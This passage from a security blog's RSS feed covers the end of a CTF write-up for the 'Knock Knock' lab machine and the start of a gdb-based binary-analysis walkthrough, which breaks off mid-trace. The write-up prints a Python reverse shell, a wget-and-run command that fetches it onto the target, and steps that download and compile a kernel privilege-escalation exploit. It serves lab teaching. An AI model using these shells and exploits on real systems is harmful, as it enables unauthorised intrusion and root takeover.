butthead@10.0.0.78&apos;s password: 
/home/butthead
root@kali:~/CTF/tryhackme/knockknock# ssh butthead@10.0.0.78 ls -l /home/butthead/
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78&apos;s password: 
total 4
-rw-rw-r-- 1 butthead butthead 67 Mar  3  2015 nachos
# ssh butthead@10.0.0.78 cat nachos
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78&apos;s password: 
Great job on getting this far.

Can you login as beavis or root ?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, there is a file ‘nachos’ inside the home directory of the butthead user which challenges us to login as root.
At this point it is more convenient to get a proper shell. In order to do this, let’s host on the kali VM we are using a file
called shell.py, a simple reverse shell in Python with hardcoded connection parameters.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;10.8.0.108&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4444&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-i&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.8.0.108&lt;/code&gt; is the address of my Kali VM. From here, let’s use netcat to listen to incoming connections.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc -lvp 4444&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let’s now get the file on the target machine and let’s execute it with:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh butthead@10.0.0.78 wget 10.8.0.108/shell.py &amp;amp;&amp;amp; python shell.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At this point a simple shell is spawned and we can run commands more conveniently from our Kali VM.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uname -a&lt;/code&gt; tells us that the target machine is running Linux &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3.13&lt;/code&gt;. A quick search on ExploitDB points us to an &lt;a href=&quot;https://www.exploit-db.com/exploits/37292&quot;&gt;exploit&lt;/a&gt;
to elevate privileges.&lt;/p&gt;

&lt;p&gt;Let’s put the C code for the exploit in a file that we will again serve from the Kali machine. 
After this is done, we need to download the file, compile it and run it.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget 10.8.0.108/osf.c
gcc osf.c -o osf
./osf
[...]
# whoami
root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We got root, so to conclude this machine, we check as usual in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root&lt;/code&gt; where we finally find&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ls -la /root
total 28
drwx------  3 root root 4096 Mar  3  2015 .
drwxr-xr-x 21 root root 4096 Mar  2  2015 ..
drwx------  2 root root 4096 Mar  2  2015 .aptitude
-rw-------  1 root root  370 Mar  3  2015 .bash_history
-rw-r--r--  1 root root 3106 Feb 19  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 19  2014 .profile
-rw-r--r--  1 root root  202 Mar  3  2015 SECRETZ
# ls -la /root/SECRETZ
-rw-r--r-- 1 root root 202 Mar  3  2015 /root/SECRETZ
# cat /root/SECRETZ
You have done a great job, if you can see this, please shoot me an email
and let me know that you have beat this box!

SECRET = &quot;LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK&quot;

admin@top-hat-sec.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can consider this machine pwned.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;For any correction, feedback or question feel free to drop a mail to &lt;strong&gt;security&lt;/strong&gt;[at]coolbyte[dot]eu.&lt;/p&gt;

</description>
        <pubDate>Sat, 16 Feb 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/knock-knock.ctf/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/knock-knock.ctf/</guid>
        
        
      </item>
    
      <item>
        <title>Practical Binary Analysis - Chapter 5 CTF walkthrough level 5</title>
        <description>&lt;p&gt;&lt;a href=&quot;/2019/practical-binary-analysis-challenge/&quot;&gt;A few days ago&lt;/a&gt; I have been writing about
my solution of the levels 1(2) to 4 of the CTF which is left as an exercise at the end of Chapter 5
of &lt;a href=&quot;https://practicalbinaryanalysis.com&quot;&gt;Practical Binary Analysis&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this post I will discuss my solution for the fifth level of this CTF. 
I am not ashamed of the fact that I totally overengineered this level and it took me way more time 
to solve it than necessary. Despite this, it was a very good occasion to learn and familiarize myself
with the tools of the trade, &lt;em&gt;gdb&lt;/em&gt; in particular.&lt;/p&gt;

&lt;h3 id=&quot;level-5&quot;&gt;Level 5&lt;/h3&gt;

&lt;p&gt;As per usual, the binary to “crack” to solve this level is called &lt;em&gt;lvl5&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The file is a normal 64-bit stripped ELF.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file lvl5
lvl5: ELF 64-bit LSB executable, x86-64, version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SYSV&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;GNU/Linux 2.6.32, BuildID[sha1]&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1c4f1d4d245a8e252b77c38c9c1ba936f70d8245, stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the program just prints “nothing to see here” and exits.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ltrace ./lvl5
__libc_start_main&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x400500, 1, 0x7ffdeec9e6c8, 0x4006f0 &amp;lt;unfinished ...&amp;gt;
puts&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;nothing to see here&quot;&lt;/span&gt;nothing to see here&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 20
+++ exited &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;status 1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;strace ./lvl5
execve&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;./lvl5&quot;&lt;/span&gt;, &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;./lvl5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;, &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; 30 vars &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
brk&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x23ed000
access&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ld.so.nohwcap&quot;&lt;/span&gt;, F_OK&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; ENOENT &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;No such file or directory&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
access&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ld.so.preload&quot;&lt;/span&gt;, R_OK&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; ENOENT &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;No such file or directory&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
open&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ld.so.cache&quot;&lt;/span&gt;, O_RDONLY|O_CLOEXEC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 3
fstat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3, &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;st_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S_IFREG|0644, &lt;span class=&quot;nv&quot;&gt;st_size&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;100346, ...&lt;span class=&quot;o&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL, 100346, PROT_READ, MAP_PRIVATE, 3, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f5658bb4000
close&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
access&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ld.so.nohwcap&quot;&lt;/span&gt;, F_OK&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; ENOENT &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;No such file or directory&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
open&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;&lt;/span&gt;, O_RDONLY|O_CLOEXEC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 3
&lt;span class=&quot;nb&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3, &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;77ELF&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\2\1\1\3\0\0\0\0\0\0\0\0\3\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0\1\0\0\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t\2\0\0\0\0\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;..., 832&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 832
fstat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3, &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;st_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S_IFREG|0755, &lt;span class=&quot;nv&quot;&gt;st_size&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1868984, ...&lt;span class=&quot;o&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f5658bb3000
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f56585de000
mprotect&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f565879e000, 2097152, PROT_NONE&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f565899e000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f565899e000
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f56589a4000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f56589a4000
close&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f5658bb2000
mmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x7f5658bb1000
arch_prctl&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ARCH_SET_FS, 0x7f5658bb2700&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mprotect&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f565899e000, 16384, PROT_READ&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mprotect&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x600000, 4096, PROT_READ&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
mprotect&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f5658bcd000, 4096, PROT_READ&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
munmap&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f5658bb4000, 100346&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;          &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
fstat&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1, &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;st_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;S_IFCHR|0620, &lt;span class=&quot;nv&quot;&gt;st_rdev&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;makedev&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;136, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, ...&lt;span class=&quot;o&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
brk&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x23ed000
brk&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x240e000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                          &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x240e000
write&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1, &lt;span class=&quot;s2&quot;&gt;&quot;nothing to see here&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;, 20nothing to see here
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 20
exit_group&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; ?
+++ exited with 1 +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Both &lt;em&gt;ltrace&lt;/em&gt; and &lt;em&gt;strace&lt;/em&gt; do not give any useful information.&lt;/p&gt;

&lt;p&gt;Strings command (or dumping .rodata section) shows the following interesting strings:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;key = 0x%08x
decrypted flag = %s
nothing to see here
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One we expected, but the others clearly are used somewhere else, and their semantic is pretty clear.&lt;/p&gt;

&lt;p&gt;The next step is to disassemble the binary and look at the code. At a first glance, there seem to be no anomalies or weird
things in the code.&lt;/p&gt;

&lt;p&gt;Let’s use &lt;em&gt;gdb&lt;/em&gt; to trace the execution of the code.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gdb lvl5
(gdb) info files
Symbols from &quot;/home/binary/code/chapter5/lvl5&quot;.
Local exec file:
`/home/binary/code/chapter5/lvl5&apos;, file type elf64-x86-64.
        
Entry point: 0x400520
    0x0000000000400238 - 0x0000000000400254 is .interp
    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
    [...]
(gdb) b *0x400520
Breakpoint 1 at 0x400520
(gdb) set pagination off
(gdb) set logging on
Copying output to gdb.txt.
(gdb) set logging redirect on
Redirecting output to gdb.txt.
(gdb) run
(gdb) display/i $pc
(gdb) while 1
 &amp;gt;si
 &amp;gt;end
nothing to see here
(gdb)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now it’s convenient to examine the output of the trace with&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;=&amp;gt; 0x4&quot;&lt;/span&gt; gdb.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case I am grepping for the instructions with 0x4xxxxx because I have seen that the instructions in the &lt;em&gt;.txt&lt;/em&gt; are
all in the 0x400500-0x400762 range. This will spare me the noise of the instructions which happen inside library functions.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;=&amp;gt; 0x400520:    xor    %ebp,%ebp
=&amp;gt; 0x400522:    mov    %rdx,%r9
=&amp;gt; 0x400525:    pop    %rsi
=&amp;gt; 0x400526:    mov    %rsp,%rdx
=&amp;gt; 0x400529:    and    $0xfffffffffffffff0,%rsp
=&amp;gt; 0x40052d:    push   %rax
=&amp;gt; 0x40052e:    push   %rsp
=&amp;gt; 0x40052f:    mov    $0x400760,%r8
=&amp;gt; 0x400536:    mov    $0x4006f0,%rcx
=&amp;gt; 0x40053d:    mov    $0x400500,%rdi
=&amp;gt; 0x400544:    callq  0x4004d0 &amp;lt;__libc_start_main@plt&amp;gt;
=&amp;gt; 0x4004d0 &amp;lt;__libc_start_main@plt&amp;gt;:    jmpq   *0x200b52(%rip)        # 0x601028
=&amp;gt; 0x4004d6 &amp;lt;__libc_start_main@plt+6&amp;gt;:  pushq  $0x2
=&amp;gt; 0x4004db &amp;lt;__libc_start_main@plt+11&amp;gt;: jmpq   0x4004a0
=&amp;gt; 0x4004a0:    pushq  0x200b62(%rip)        # 0x601008
=&amp;gt; 0x4004a6:    jmpq   *0x200b64(%rip)        # 0x601010
=&amp;gt; 0x4006f0:    push   %r15
=&amp;gt; 0x4006f2:    push   %r14
=&amp;gt; 0x4006f4:    mov    %edi,%r15d
=&amp;gt; 0x4006f7:    push   %r13
=&amp;gt; 0x4006f9:    push   %r12
=&amp;gt; 0x4006fb:    lea    0x20070e(%rip),%r12        # 0x600e10
=&amp;gt; 0x400702:    push   %rbp
=&amp;gt; 0x400703:    lea    0x20070e(%rip),%rbp        # 0x600e18
=&amp;gt; 0x40070a:    push   %rbx
=&amp;gt; 0x40070b:    mov    %rsi,%r14
=&amp;gt; 0x40070e:    mov    %rdx,%r13
=&amp;gt; 0x400711:    sub    %r12,%rbp
=&amp;gt; 0x400714:    sub    $0x8,%rsp
=&amp;gt; 0x400718:    sar    $0x3,%rbp
=&amp;gt; 0x40071c:    callq  0x400480
=&amp;gt; 0x400480:    sub    $0x8,%rsp
=&amp;gt; 0x400484:    mov    0x200b6d(%rip),%rax        # 0x600ff8
=&amp;gt; 0x40048b:    test   %rax,%rax
=&amp;gt; 0x40048e:    je     0x400495
=&amp;gt; 0x400495:    add    $0x8,%rsp
=&amp;gt; 0x400499:    retq   
=&amp;gt; 0x400721:    test   %rbp,%rbp
=&amp;gt; 0x400724:    je     0x400746
=&amp;gt; 0x400726:    xor    %ebx,%ebx
=&amp;gt; 0x400728:    nopl   0x0(%rax,%rax,1)
=&amp;gt; 0x400730:    mov    %r13,%rdx
=&amp;gt; 0x400733:    mov    %r14,%rsi
=&amp;gt; 0x400736:    mov    %r15d,%edi
=&amp;gt; 0x400739:    callq  *(%r12,%rbx,8)
=&amp;gt; 0x4005f0:    mov    $0x600e20,%edi
=&amp;gt; 0x4005f5:    cmpq   $0x0,(%rdi)
=&amp;gt; 0x4005f9:    jne    0x400600
=&amp;gt; 0x4005fb:    jmp    0x400590
=&amp;gt; 0x400590:    mov    $0x601048,%esi
=&amp;gt; 0x400595:    push   %rbp
=&amp;gt; 0x400596:    sub    $0x601048,%rsi
=&amp;gt; 0x40059d:    sar    $0x3,%rsi
=&amp;gt; 0x4005a1:    mov    %rsp,%rbp
=&amp;gt; 0x4005a4:    mov    %rsi,%rax
=&amp;gt; 0x4005a7:    shr    $0x3f,%rax
=&amp;gt; 0x4005ab:    add    %rax,%rsi
=&amp;gt; 0x4005ae:    sar    %rsi
=&amp;gt; 0x4005b1:    je     0x4005c8
=&amp;gt; 0x4005c8:    pop    %rbp
=&amp;gt; 0x4005c9:    retq   
=&amp;gt; 0x40073d:    add    $0x1,%rbx
